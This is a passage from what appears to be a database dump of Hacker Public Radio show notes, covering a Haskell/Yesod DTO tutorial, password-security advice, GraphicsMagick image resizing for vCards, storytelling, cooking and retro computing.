information about functional dependencies, check following links: <a href=\"https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/glasgow_exts.html#extension-FunctionalDependencies\" class=\"uri\">https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/glasgow_exts.html#extension-FunctionalDependencies</a> and <a href=\"https://wiki.haskell.org/Functional_dependencies\" class=\"uri\">https://wiki.haskell.org/Functional_dependencies</a></p>\r\n<p>Writing instances for our type class:</p>\r\n<pre><code>instance ToDto PlanetFoundNews PlanetFoundNewsDto where\r\n    toDto news =\r\n        PlanetFoundNewsDto { planetFoundNewsDtoPlanetName = planetFoundNewsPlanetName news\r\n                           , planetFoundNewsDtoSystemName = planetFoundNewsSystemName news\r\n                           , planetFoundNewsDtoSystemId = planetFoundNewsSystemId news\r\n                           , planetFoundNewsDtoPlanetId = planetFoundNewsPlanetId news\r\n                           , planetFoundNewsDtoDate = planetFoundNewsDate news\r\n                           }\r\n\r\ninstance ToDto NewsArticle NewsArticleDto where\r\n    toDto news =\r\n        case news of\r\n            (StarFound x) -&gt; StarFoundDto $ toDto x\r\n            (PlanetFound x) -&gt; PlanetFoundDto $ toDto x\r\n            (UserWritten x) -&gt; UserWrittenDto $ toDto x\r\n            (DesignCreated x) -&gt; DesignCreatedDto $ toDto x\r\n            (ConstructionFinished x) -&gt; ConstructionFinishedDto $ toDto x</code></pre>\r\n<p>Finally, we want to wrap our news into something that has all the common info (id and link to icon to show)</p>\r\n<pre><code>data NewsDto = NewsDto\r\n    { newsDtoId    :: Key News\r\n    , newsContents :: NewsArticleDto\r\n    , newsIcon     :: Text\r\n    }\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p>IconMapper knows how to turn NewsArticleDto (in this case) to corresponding link to the icon. Notice how our ToDto instance includes IconMapper in addition to Key and NewsArticle:</p>\r\n<pre><code>instance ToDto ((Key News, NewsArticle), (IconMapper NewsArticleDto)) NewsDto where\r\n    toDto ((nId, article), icons) =\r\n        let\r\n            content = toDto article\r\n        in\r\n        NewsDto { newsDtoId = nId\r\n                , newsContents = content\r\n                , newsIcon = runIconMapper icons content\r\n                }</code></pre>\r\n<h2 id=\"sideshow-iconmapper\">Sideshow: IconMapper</h2>\r\n<p>IconMapper is a function that knows how to retrieve url to icon that matches the given parameter (for example NewsArticleDto in this case):</p>\r\n<pre><code>newtype IconMapper a =\r\n    IconMapper { runIconMapper :: a -&gt; Text }</code></pre>\r\n<p>One possible implementation that knows how to deal with NewsArticleDto. We have two levels of hierarchicy here, because UserNewsDto has special rules for figuring out which icon to use:</p>\r\n<pre><code>iconMapper :: (Route App -&gt; Text) -&gt; IconMapper UserNewsIconDto -&gt; IconMapper NewsArticleDto\r\niconMapper render userIconMapper =\r\n    IconMapper $ article -&gt;\r\n        case article of\r\n            PlanetFoundDto _-&gt;\r\n                render $ StaticR images_news_planet_png\r\n\r\n            UserWrittenDto details -&gt;\r\n                runIconMapper userIconMapper $ userWrittenNewsDtoIcon details\r\n    ...</code></pre>\r\n<h2 id=\"back-to-json\">Back to JSON</h2>\r\n<p>I wrote ToJSON and FromJSON instances by hand, because I wanted full control on how the resulting JSON looks like. It’s possible to configure how template Haskell names fields for example, but I think that writing these out couple of times is good practice and makes sure that I understand what’s going on behind the scenes if I use template Haskell later.</p>\r\n<pre><code>instance ToJSON NewsDto where\r\n    toJSON (NewsDto { newsDtoId = nId\r\n                    , newsContents = contents\r\n                    , newsIcon = icon }) =\r\n        object [ &quot;id&quot; .= nId\r\n               , &quot;contents&quot; .= contents\r\n               , &quot;tag&quot; .= jsonTag contents\r\n               , &quot;icon&quot; .= icon\r\n               , &quot;starDate&quot; .= newsStarDate contents\r\n               ]\r\n\r\ninstance ToJSON PlanetFoundNewsDto where\r\n    toJSON (PlanetFoundNewsDto { planetFoundNewsDtoPlanetName = pName\r\n                               , planetFoundNewsDtoSystemId = sId\r\n                               , planetFoundNewsDtoPlanetId = pId\r\n                               , planetFoundNewsDtoSystemName = sName\r\n                               }) =\r\n        object [ &quot;planetName&quot; .= pName\r\n               , &quot;systemName&quot; .= sName\r\n               , &quot;planetId&quot; .= pId\r\n               , &quot;systemId&quot; .= sId\r\n               ]</code></pre>\r\n<h2 id=\"time-to-put-it-all-together\">Time to put it all together</h2>\r\n<p>Handler function authenticates user, check they’re member of a faction and then loads all the news:</p>\r\n<pre><code>getApiMessageR :: Handler Value\r\ngetApiMessageR = do\r\n    (_, _, fId) &lt;- apiRequireFaction\r\n    loadAllMessages fId</code></pre>\r\n<p>Loading messages involves multiple steps:</p>\r\n<ul>\r\n<li>retrieve News from database\r\n<ul>\r\n<li>correct faction, not dismissed, sort by date</li>\r\n</ul></li>\r\n<li>parse them into ( Key News, NewsArticle )</li>\r\n<li>get Url render function</li>\r\n<li>create mapper for user icons</li>\r\n<li>map all NewsArticles into ( NewsArticleDto, IconMapper )</li>\r\n<li>turn them into JSON and return that to client</li>\r\n</ul>\r\n<pre><code>loadAllMessages :: Key Faction -&gt; HandlerFor App Value\r\nloadAllMessages fId = do\r\n    loadedMessages &lt;- runDB $ selectList [ NewsFactionId ==. fId\r\n                                         , NewsDismissed ==. False ] [ Desc NewsDate ]\r\n    let parsedMessages = parseNewsEntities loadedMessages\r\n    render &lt;- getUrlRender\r\n    let userIcons = userNewsIconMapper render\r\n    return $ toJSON $ map (toDto . (flip (,) (iconMapper render userIcons))) parsedMessages</code></pre>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2733/hpr2733.png\"><img src=\"https://hackerpublicradio.org/eps/hpr2733/hpr2733-small.png\" /></a>\r\n</p>\r\n',364,107,0,'CC-BY-SA','haskell, yesod',0,0,1),
(2726,'2019-01-14','Home Theater - Part 2 Software (High Level)',1249,'I go over a high level of my notes for the software on my Media box as it relates to TV/Movies/Music','<p><a href=\"https://docs.google.com/document/d/1E1xAwWpq-C4vEh8LCRw7MD7jnaclX9Faf2L3dZWiqQY\" class=\"uri\">https://docs.google.com/document/d/1E1xAwWpq-C4vEh8LCRw7MD7jnaclX9Faf2L3dZWiqQY</a></p>\r\n<ul>\r\n<li>Future Eps for Series:\r\n<ul>\r\n<li>Sonarr / Filename Fixes</li>\r\n<li>SABnzbd</li>\r\n<li>Subsonic / orpheus.network /Audio Fixes</li>\r\n</ul></li>\r\n</ul>\r\n\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2726.pdf\">Local copy of the shownotes</a></p>',36,0,0,'CC-BY-SA','kodi, deluge,Sonarr,Plex,Subsonic,SpiderOakONE,Zoneminder,Borg Backup,rclone,Redshift,Audacity',0,0,1),
(2727,'2019-01-15','Passwords',467,'How to do passwords better. ','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Hello and welcome to Hacker Public Radio, I’m Edward Miro and for this episode I decided to record an episode on the importance of good passwords. This will be part one in a series of podcasts I’m going to call “Information Security for Everyone”. As with most of the content I create in the world of infosec, my goal is to present the information in a way that a majority of people can get value from it and anyone can play this for a friend, colleague or family member and make it easy for the non-hackers in our lives to understand.</p>\r\n<h2 id=\"passwords\">Passwords</h2>\r\n<p>One of the first things most people think about when it comes to online safety is their password. We all know that passwords are to our online accounts what keys are for our locks. Would you use the same key for your house, your car, your office and your safety deposit box? Of course not. And if you did, what would happen if a bad guy could get a copy of just that one key? They’d have access to everything. With so much of our personal, confidential, financial and medical information accessible from our various online accounts, what can we do to make things as safe as possible?</p>\r\n<p>For me personally I employ and advise a three faceted approach:</p>\r\n<ol type=\"1\">\r\n<li>Complex passwords</li>\r\n<li>Unique passwords</li>\r\n<li>Two-factor authentication (where available)</li>\r\n</ol>\r\n<p>Clearly the solution is to use a unique password for each account and make them complicated enough that an attacker couldn’t guess it or crack it in an amount of time that would be actionable. One problem this presents to general users is the inconvenience and difficulty in remembering these passwords or storing them in a secure way. This leads into my first bit of advice:</p>\r\n<h2 id=\"password-managers\">Password Managers</h2>\r\n<p>My recommendation is to use a password manager. I’m going to make references to managers such as LastPass because that’s the one I’ve always used, but I’m not saying it’s the best or would be the best for you. There are many great options and I would rather people use the one that works the best for them and not merely the one I like best. Anyways. Applications like LastPass give you the ability to store all passwords in your encrypted “vault” and then request them through browser add-ons or standalone applications. They also have built in features that allow you to generate secure passwords at any length or complexity.</p>\r\n<p>When using a password manager, all you have to remember is your ONE master password. When you sign in, the manager can then decrypt all your saved passwords and let you use them. When I sign up for a website, I use LastPass to generate the longest and most complex password supported by the site and it gets stored in my vault safely for later use.</p>\r\n<p>There are various options online to choose from and I suggest you do some research and try a few different ones to see what is comfortable for you. One thing to consider when using a password manager is that the master password is your single point of failure and should be a long and complex password that you don’t use ANYWHERE else.</p>\r\n<p>If you’re wondering how to come up with a secure password that you can remember there are various strategies online, but I follow this:</p>\r\n<p>Take a poem, song lyrics or phrase that is easy for you to remember. For this example I’ll use the phrase:</p>\r\n<pre><code>&quot;The stars at night are big and bright. Deep in the heart of Texas.&quot;</code></pre>\r\n<p>Then I take the first letters from each word and that gives me:</p>\r\n<pre><code>TsanababdithoT.</code></pre>\r\n<p>Then I swap out the vowels for some numbers/special characters. And that gives me:</p>\r\n<pre><code>T5@n@b@bd1th0T</code></pre>\r\n<p>I checked that password on Dashlane’s Password Strength Checker, and got the following results:</p>\r\n<pre><code>It would take a computer about 204 million years to crack your password</code></pre>\r\n<p>And that’s just an example of a very secure password that I thought up in just a few seconds that I probably won’t ever be able to forget it.</p>\r\n<h2 id=\"fa-two-factor-authentication\">2FA (two-factor authentication)</h2>\r\n<p>Another very important recommendation I want to touch on in this episode is using two-step authentication. I use it for all accounts that offer it and it’s very easy to set-up and use. It works in tandem with an application on my mobile device called Google Authenticator(though there are others and like LastPass this is just the one I use) and it’s available for Android and iOS. After you install the app, you access the security settings for the account you want to protect and register it with your device.</p>\r\n<p>What it does is provide a “second” password when logging it that is only used one time. When you log in, the site will prompt for the two-step authentication code, you then open the Google Authenticator app and the code for the session will be listed. The codes are only available for a short time and are constantly changing. This makes someone gaining unauthorized access to your account VERY difficult.</p>\r\n<h2 id=\"a-few-closing-thoughts\">A few closing thoughts</h2>\r\n<p>Some information security professionals see a password manager as insecure due to it being a single point of failure. I can understand this and would respond that although this might be true, having a complex master password and using the manager in conjunction with two-step authentication makes it a pretty safe and solid system. And even if there is a breach, none of my passwords are the same and changing them is incredibly fast and easy with a manager.</p>\r\n<p>Also, I usually don’t recommend keeping hard copies of passwords, but if you can guarantee the physical security of your password list, this in my opinion is preferable to using the same, insecure password for all your accounts.</p>\r\n<p>Please remember, if you’re like most people on the internet and you use an easy to crack password or the same password on all your sites, all it takes is one compromised account to give bad guys access to everything.</p>\r\n<p>I’m also including a list of links in the bottom of the show notes to everything I mentioned and also a link to the site <em>Have I Been Pwned</em>. This is a service that collects accounts that have been involved in hacks and lets anyone search for their email address and see if their information is already compromised. If it is, do this NOW:</p>\r\n<ol type=\"1\">\r\n<li>Setup a password manager with a strong master password.</li>\r\n<li>Change all your passwords using the built in password generator in your password manager and save them in your vault as you go.</li>\r\n<li>In the future when breaches happen, it’s incredibly easy to change your password and you’ll also rest easy knowing that the password obtained can’t get them into anything else.</li>\r\n</ol>\r\n<p>I know this will take a long time. But it’s worth it. Then, you only have to remember one master password and you will be exponentially safer online.</p>\r\n<p>I also linked SplashData’s “The Top 100 Worst Passwords of 2018”. PLEASE don’t use anything on this list.</p>\r\n<p>Well, thank you for taking the time to listen to my basic introduction to passwords. I hope this will help any non-hackers in your life and like I say in all my podcasts, I don’t claim to know all there is to know and love feedback and any opportunities to learn more or collaborate with others in the field. As with most of the research and articles I’ve written in the past, these are geared toward standard users in a business setting and are meant to be a jumping off point for further research and to be a foundation for cyber security 101 level training classes. If you like what I do, and want to have me come speak to your team, or just wanna chat, feel free to email me.</p>\r\n<p>Thank you and have a safe 2019!</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.lastpass.com/\" class=\"uri\">https://www.lastpass.com/</a> - My favorite password manager.</li>\r\n<li><a href=\"https://howsecureismypassword.net/\" class=\"uri\">https://howsecureismypassword.net/</a> - Check if your password is strong enough.</li>\r\n<li><a href=\"https://twofactorauth.org/\" class=\"uri\">https://twofactorauth.org/</a> - Setup 2FA on all the accounts you can.</li>\r\n<li><a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a> - See if your email/accounts have been compromised already.</li>\r\n<li><a href=\"https://www.teamsid.com/100-worst-passwords/\" class=\"uri\">https://www.teamsid.com/100-worst-passwords/</a> - Top 100 Worst Passwords of 2018.</li>\r\n</ul>\r\n',372,74,0,'CC-BY-SA','Information Security for Everyone',0,0,1),
(2730,'2019-01-18','Resizing images for vcard on Android',688,'Automating the steps needed to get images formatted for VCard import into Android phones','<p>I have had problems importing vcards onto my Android phone. After a lot of troubleshooting, I tracked it down to embedded images in the card. The PHOTO;VALUE field to be precise.</p>\r\n\r\n<p>Some images worked and some didn\'t, and looking at the properties some that worked were larger than others that didn\'t. In the end I tracked down a post on <a href=\"https://stackoverflow.com/questions/17834815/how-to-find-the-max-image-size-supported-for-contacts-images\">stackoverflow</a> that hinted that the aspect ratio was important. And sure enough it was.</p>\r\n\r\n<blockquote class=\"wp-block-quote\">\r\n<p>starting with jelly bean (4.1), android now supports contact images that are 720x720.<br />before, starting with ICS (4.0), android has supported contact images that are 256x256.<br />and before that, contact photos had just a size of a thumbnail - 96x96.</p>\r\n<cite><a href=\"https://stackoverflow.com/users/878126/android-developer\">Stack exchange</a> </cite>\r\n</blockquote>\r\n\r\n\r\n<p>I tried a 720x720 on a few phones but decided to settle on 256x256 for now. </p>\r\n\r\n\r\n<p>To do image manipulation, I tend to use the <a href=\"https://www.graphicsmagick.org/\">GraphicsMagick</a> tools instead of the more popular <a href=\"https://www.imagemagick.org/script/index.php\">ImageMagick</a> suite. You should be able to achieve the same result in either.</p>\r\n\r\n\r\n<p>My requirements were:</p>\r\n<ul>\r\n<li>The images should be scaled so that the maximum height/width shrinks to 256, maintaining the aspect ratio.</li>\r\n<li>The images should always be 256x256 in size.</li>\r\n<li>Scaled images should be padded and centered on a white background.</li>\r\n<li>All color profile information should be removed.</li>\r\n</ul>\r\n\r\n\r\n<p>To use an example I took the following image and saved it as Linus_Torvalds.jpg</p>\r\n\r\n\r\n<p>By <a title=\"User:Krd\" href=\"//commons.wikimedia.org/wiki/User:Krd\">Krd</a> (photo)<a class=\"new\" title=\"User:Von Sprat (page does not exist)\" href=\"//commons.wikimedia.org/w/index.php?title=User:Von_Sprat&amp;action=edit&amp;redlink=1\">Von Sprat</a> (crop/extraction) - <a title=\"File:LinuxCon Europe Linus Torvalds 03.jpg\" href=\"//commons.wikimedia.org/wiki/File:LinuxCon_Europe_Linus_Torvalds_03.jpg\">File:LinuxCon Europe Linus Torvalds 03.jpg</a>, <a title=\"Creative Commons Attribution-Share Alike 4.0\" href=\"https://creativecommons.org/licenses/by-sa/4.0\">CC BY-SA 4.0</a>, <a href=\"https://commons.wikimedia.org/w/index.php?curid=54706023\">Link</a></p>\r\n\r\n\r\n<p>Step one is to use the <a href=\"https://href=&quot;https://www.graphicsmagick.org/GraphicsMagick.html#details-size\">-size</a> 256x256 option which you would think would do the scaling, but in fact it only reduces the file to 366x509 which is not what I expected.</p>\r\n\r\n<pre><code>$ gm convert -size 256x256 \"Linus_Torvalds.jpg\" Linus_Torvalds_1.jpg<br />$ gm identify Linus_Torvalds_1.jpg\r\nLinus_Torvalds_1.jpg JPEG 366x509+0+0 DirectClass 8-bit 56.1Ki 0.000u 0m:0.000002</code></pre>\r\n\r\n\r\n<p><img style=\"border-style: solid;\" src=\"https://hackerpublicradio.org/eps/hpr2730/Linus_Torvalds_1.jpg\" /></p>\r\n\r\n\r\n<p>However it appears that the option is used when creating new files, and is also used by the processor to determine the intended target size. Which is why I left it in. So what we actually need is the <a href=\"https://www.graphicsmagick.org/GraphicsMagick.html#details-resize\">-resize</a> option.</p>\r\n\r\n<pre><code>\r\n$ gm convert -size 256x256 \"Linus_Torvalds.jpg\" -resize 256x256 Linus_Torvalds_2.jpg\r\n$ gm identify Linus_Torvalds_2.jpg\r\nLinus_Torvalds_2.jpg JPEG 184x256+0+0 DirectClass 8-bit 47.7Ki 0.000u 0m:0.000001s</code><code>\r\n</code></pre>\r\n\r\n<p><img style=\"border-style: solid;\" src=\"https://hackerpublicradio.org/eps/hpr2730/Linus_Torvalds_2.jpg\" /></p>\r\n\r\n<p>So this has done a good job at scaling the image down. It\'s now scaled correctly so that the biggest edge is scaled down to 256. In this case it was the height but the width is now shorter than what we need. We do want to maintain the aspect ratio so that we don\'t distort the image but 184x256 is not 1:1 aspect ratio nor is it the needed dimensions of 256x256.</p>\r\n\r\n<p>The solution to this is to use the <a href=\"https://www.graphicsmagick.org/GraphicsMagick.html#details-extent\">-extent</a> command.</p>\r\n\r\n<pre><code>$ gm convert -size 256x256 \"Linus_Torvalds.jpg\" -resize 256x256 -extent 256x256 Linus_Torvalds_3.jpg\r\n$ gm identify Linus_Torvalds_3.jpg\r\nLinus_Torvalds_3.jpg JPEG 256x256+0+0 DirectClass 8-bit 48.0Ki 0.000u 0m:0.000001s</code></pre>\r\n\r\n\r\n<p><img style=\"border-style: solid;\" src=\"https://hackerpublicradio.org/eps/hpr2730/Linus_Torvalds_3.jpg\" /></p>\r\n\r\n\r\n<p>This gives us the correct size and a 1:1 aspect ratio, but the image is left justified. To fix this we need to use the <a href=\"https://www.graphicsmagick.org/GraphicsMagick.html#details-gravity\">-gravity</a> command. That needs to be the first argument of the command. Finding the correct order of the commands took some trial and error.</p>\r\n\r\n<pre><code>$ gm convert -gravity center -size 256x256 \"Linus_Torvalds.jpg\" -resize 256x256 -extent 256x256 Linus_Torvalds_4.jpg\r\n$ gm identify Linus_Torvalds_4.jpg\r\nLinus_Torvalds_4.jpg JPEG 256x256+0+0 DirectClass 8-bit 48.5Ki 0.000u 0m:0.000001s</code></pre>\r\n\r\n<p><img style=\"border-style: solid;\" src=\"https://hackerpublicradio.org/eps/hpr2730/Linus_Torvalds_4.jpg\" /></p>\r\n\r\n<p>Finally we remove all profile information using <a href=\"https://www.graphicsmagick.org/GraphicsMagick.html#details-profile\">+profile</a> which should make the image more generic.</p>\r\n\r\n<pre><code>$ gm convert -gravity center -size 256x256 \"Linus_Torvalds.jpg\" -resize 256x256 -extent 256x256 +profile \"*\" Linus_Torvalds_5.jpg\r\n$ gm identify Linus_Torvalds_5.jpg\r\nLinus_Torvalds_5.jpg JPEG 256x256+0+0 DirectClass 8-bit 5.7Ki 0.000u 0m:0.000001s</code></pre>\r\n\r\n<p>Putting it all together we get.</p>\r\n\r\n<pre><code>gm convert <a href=\"https://www.graphicsmagick.org/GraphicsMagick.html#details-gravity\">-gravity</a> center <a href=\"https://www.graphicsmagick.org/GraphicsMagick.html#details-size\">-size</a> 256x256 \"big-image.jpg\" <a href=\"https://www.graphicsmagick.org/GraphicsMagick.html#details-resize\">-resize</a> 256x256 <a href=\"https://www.graphicsmagick.org/GraphicsMagick.html#details-extent\">-extent</a> 256x256 <a href=\"https://www.graphicsmagick.org/GraphicsMagick.html#details-profile\">+profile</a> \"*\" \"256x256_image.jpg\"\r\n</code></pre>\r\n\r\n<p><img style=\"border-style: solid;\" src=\"https://hackerpublicradio.org/eps/hpr2730/Linus_Torvalds_5.jpg\" /></p>\r\n\r\n<p>You should now be able to add these images to vcards without any problem.</p>\r\n\r\n<p>Here is a one liner to create 96x96 256x256 and 720x720 thumbnails of all the jpg images in a directory.</p>\r\n\r\n<p>&nbsp;</p>\r\n\r\n<pre><code>for image in *jpg;do for size in 96x96 256x256 720x720; do gm convert -gravity center -size ${size} \"${image}\" -resize ${size} -extent ${size} +profile \"*\" \"thumbnail-${size}-${image}\";done;done</code></pre>\r\n\r\n<p>Also available <a href=\"https://kenfallon.com/resizing-images-for-vcard-on-android/\">here</a></p>\r\n',30,0,1,'CC-BY-SA','GraphicsMagick, ImageMagick, VCard, Android, LinageOS',0,0,1),
(2728,'2019-01-16','The Unreliable Narrator In Storytelling',814,'Lostnbronx looks at unreliable narrators and narrative techniques in stories.','<p>In some stories, the narrator or dominating character can’t be trusted by the audience, creating opportunities for various storytelling effects. What makes for an unreliable narrator? What are some of the strengths and weaknesses of this technique? How can the underlying structure of a tale be similar to an unreliable narrator, even if the story doesn’t actually have one? Lostnbronx takes a rambling, off-the-cuff look at this interesting literary tool</p>\r\n',107,105,0,'CC-BY-SA','stories,storytelling,narration,lostnbronx',0,0,1),
(2731,'2019-01-21','My 8 bit Christmas',1579,'I got a new, old computer for Christmas - an Acorn BBC microcomputer model B.','<p>For Christmas 2018 Santa – well, Mrs mcnalu – gave me a <a href=\"https://en.wikipedia.org/wiki/BBC_Micro\">BBC Model B</a> which was my first computer back in the early 1980s. This request was heavily implied in <a href=\"https://tuxjam.otherside.network/?p=382\">TuxJam 70 - Gift for Geeks</a>.</p>\r\n<p>I can highly <a href=\"https://www.ebay.co.uk/usr/retrofix-uk?_trksid=p2047675.l2559\">recommend the seller</a> who, as you will hear, was extremely helpful when this 36 year old bundle of 8 bit loveliness became very poorly on Boxing Day. It came with a Turbo MMC installed and you can see it in action on <a href=\"https://www.youtube.com/watch?v=FunVINQS0Rw\">another BBC Model B in this video</a>.</p>\r\n<p>The noise you hear at the start - the beeeeee BEEP - is the sound of me turning on the BBC. I mention in the show that mode 0 of the Beeb, as it is affectionately known, has 80 columns and 40 rows. This isn’t quite right, there are only 32 rows in mode 0.</p>\r\n',268,0,0,'CC-BY-SA','retro,BBC,8-bit,assembler',0,0,1),
(2734,'2019-01-24','Mashpodder',1139,'A poor rushed attempt at covering the excellent podcast client mashppoder','<p>After I recorded this episode I had a little look on the HPR site I found that Ken Fallon had already covered mashpodder, no doubt he did a better job than me as this was done in a bit of a rush.</p>\r\n<p>Hopefully somebody will find this of some use</p>\r\n<p>Related links below:-</p>\r\n<ul>\r\n<li><p>HPR episode by Ken Fallon covering Mashpodder<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0481\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=0481</a></p></li>\r\n<li><p>HPR episode where I talk about my Compaq Ipaq home server<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2112\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2112</a></p></li>\r\n<li><p>HPR episode where I cover my previous pocast client Hpodder<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2106\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2106</a></p></li>\r\n<li><p>Bashpodder homepage<br />\r\n<a href=\"https://lincgeek.org/bashpodder/\" class=\"uri\">https://lincgeek.org/bashpodder/</a></p></li>\r\n<li><p>Mashpodder homepage<br />\r\n<a href=\"https://github.com/chessgriffin/mashpodder\" class=\"uri\">https://github.com/chessgriffin/mashpodder</a> The original link to mashpodder on google code is dead, currently now on github</p></li>\r\n<li><p>Link to the original Linux reality also now dead, but found a link archive to the shows on podbay<br />\r\n<a href=\"https://podbay.fm/show/125849458\" class=\"uri\">https://podbay.fm/show/125849458</a></p></li>\r\n<li><p>Link to the excellent GNU world order by Klaatu, I think it was this episode that he mentioned the great Chess Griffin from Linux reality. Apologies if this is the wrong episode.<br />\r\n<a href=\"https://gnuworldorder.info/audiophile/gnuWorldOrder_12x24.ogg\" class=\"uri\">https://gnuworldorder.info/audiophile/gnuWorldOrder_12x24.ogg</a></p></li>\r\n</ul>\r\n',201,0,1,'CC-BY-SA','Podcast, ncurses, command-line',0,0,1),
(2750,'2019-02-15','Windmill is on the Fritz',270,'Using Fritzing to help reverse engineer a circuit in a winter model village windmill','<p>\r\nIn this episode Ken uses <a href=\"https://fritzing.org/\">Fritzing</a> tool to keep track of how a winter model village windmill is wired together. Leading to identifying the problem component.\r\n</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2750/xmas-mill.fzz\"><img src=\"https://hackerpublicradio.org/eps/hpr2750/xmas-mill_schem.jpg\" /></a></p>\r\n\r\n<p>\r\nFritzing is an open-source initiative to develop amateur or hobby CAD software for the design of electronics hardware, to support designers and artists ready to move from experimenting with a prototype to building a more permanent circuit. It was developed at the University of Applied Sciences of Potsdam.\r\n<br />\r\nFrom <a href=\"https://en.wikipedia.org/wiki/Fritzing\">https://en.wikipedia.org/wiki/Fritzing</a></p>',30,103,0,'CC-BY-SA','Fritzing, Reverse Engineering, LED',0,0,1),
(2732,'2019-01-22','Storytelling formula compliance',1692,'Telling a story? want a reaction? USE THE FORMULA','<p>\r\nStorytelling has had a formula for yearsAndYears. Some people speak of it in disdain (\"it was too formulaïc\") and others (creative writing and intro film teachers, mostly) praise it. Everybody else (us) is a sucker for it.\r\n</p>\r\n\r\n<p>\r\nHere is the literal formula, in pseudo code:\r\n</p>\r\n\r\n<pre><code>{A} \r\n{A} Reinforced\r\n\r\n{Z}\r\n\r\n{A} Returned\r\n\r\n{B...Y}\r\n\r\n{Z} Returned\r\n</code></pre>\r\n\r\n<p>\r\nYou can (and should, because it\'s free and you can throw out your work if you don\'t like it) practise this formula by plugging in events to represent A and Z, where A and Z are polar opposites.\r\n</p>\r\n\r\n<p>\r\nReally obvious examples are any given romantic comedy:\r\n</p>\r\n\r\n<pre><code>{A} Jack is A=\"single and free\"\r\n{A} Scene to reinforce that Jack is in relationships with no strings attached. Jack is {A}.\r\n\r\n{Z} Jack meets Jill, realises she makes him happy. He decides he\'s had enough of being {A} and want to be {Z=married}\r\n\r\n{A} Reunion with old school mate makes Jack question his resolve. He leaves Jill so he can be {A}\r\n\r\n{B...Y} Plot happens. Jack does stuff, Jill does stuff. Funny? Tragic? You decide!\r\n\r\n{Z} Jack realizes at last that he\'s only happy with Jill, and that being {Z} with Jill is the only way to be truly free.\r\n</code></pre>\r\n\r\n<p>\r\nYou can also try it with the old Evil Empire plot line.\r\n</p>\r\n\r\n<pre><code>{A} Jill is an {A=obedient citizen}. Loves her mama, loves Jesus and America, too.\r\n{A} Scene in which Jill witnesses a Rebel being mistreated unjustly, but does nothing to stand up for what is right, because she is {A}.\r\n\r\n{Z} Jill meets Jack, an outlaw and rebel against the Empire. He\'s in trouble, so she helps him evade the police.\r\n\r\n{A} Jill, horrified at her own rebellion, conforms all the more. She is dedicated to the Empire, and works diligently to hunt down Jack and his rag tag band of rebels.\r\n\r\n{B...Y} Plot happens. Action, laser guns, laser swords, nationalism, motorcycle gangs.\r\n\r\n{Z} Jill, seeing the devastation her allegiance has caused, realises that the Empire is actually Evil. She joins the rebels to fight for freedom.\r\n</code></pre>\r\n\r\n<p>\r\nNow go practice this. Soon you will be telling stories, jokes, and anecdotes that have a clear beginning, a clear conflict, and a clear ending.\r\n</p>\r\n\r\n',78,99,1,'CC-BY-SA','story, character, plot, writing',0,0,1),
(2735,'2019-01-25','Soffritto',138,'A short episode on a common cookery technique','<p>Hello and a belated Happy New Year to you all in HPR land, Ken has recently made a call for more shows as the queue is a little light at the moment so I was pondering what to waffle on about.</p>\r\n<p>You may know from a couple of my previous shows that as well as being into tech and Linux I’m also a keen Cook, and try and prepare as much of the food we eat at home from scratch as possible.</p>\r\n<p>One of the keys to good dishes is a base of sweated vegetables such as onion, celery carrot and garlic which when cooked in olive oil, is called a <em>Soffritto</em> in Italian cookery. In other parts of the Mediterranean and Latin America where Europeans settled this base to dishes may include other vegetables such as peppers, tomatoes and mushrooms, and have other names such as <em>mirepoix</em> (/mɪərˈpwɑː/ meer-PWAH); but the idea is the same to give a base flavour to soups, sauces, risotto and stew type dishes.</p>\r\n<p>Although not called the same thing this is also replicated in Asian cookery where spices and other aromatics are included such as ginger, lemon grass, chillies, cumin and coriander seeds.</p>\r\n<p>While it is not obligatory to start dishes in such a way if you do use a base of flavours like this when cooking you will find that the finished dish has a more complex and deep flavour at the end, so if you don’t do this give it a try.</p>\r\n<p>A simple starter is to make a tomato sauce for pasta using a base of finely chopped onion, celery, carrot and garlic soften all the vegetables in a pan with some olive oil, add a tin of tomatoes or jar of passata (sieved tomatoes) reduce for 10-15 minutes until all the flavours combine and use as a sauce over pasta with grated cheese.</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Sofrito\" class=\"uri\">https://en.wikipedia.org/wiki/Sofrito</a></p>\r\n',338,93,0,'CC-BY-SA','Food, cookery, how to, food preparation',0,0,1),
(2736,'2019-01-28','Response to show 2720',1104,'Some suggestions on how to improve a Bash script','<h2 id=\"introduction\">Introduction</h2>\r\n<p>On January 4<sup>th</sup> 2019 Ken Fallon did a great show entitled <a href=\"https://hackerpublicradio.org/eps.php?id=2720\" title=\"Download youtube channels using the rss feeds\"><em>hpr2720 :: Download youtube channels using the rss feeds</em></a> where he presented a Bash script called <a href=\"https://hackerpublicradio.org/eps/hpr2720/youtube-rss.bash\" title=\"youtube-rss.bash\"><code>youtube-rss.bash</code></a> for managing YouTube downloads through RSS feeds.</p>\r\n<p>Ken said he welcomed constructive feedback <font size=\"+3\">☺</font></p>\r\n<p>When I see a Bash script these days I usually find myself looking for ways to rewrite it to make it fit in with what I have been learning while doing my <em>Bash Tips</em> sub-series. Either that or I find it’s got some better ideas than I’ve been using which I have to find out about.</p>\r\n<p>I also spend time going over my own old scripts (I was writing them in the 1990’s in some cases) and trying to incorporate newer Bash features.</p>\r\n<p>Suffice it to say that I spotted some areas for improvement in Ken’s script and thought this might be the way to share my thoughts about them. We’re low on shows as I write this, so that gave me more motivation to make a show rather than add a comment or send Ken an email.</p>\r\n<p><small><b>Apology:</b> I’m still suffering from the aftermath of some flu-like illness so have had to edit coughing fits out of the audio at various points. If you detect any remnants then I’m sorry!</small></p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2736/full_shownotes.html\">viewed 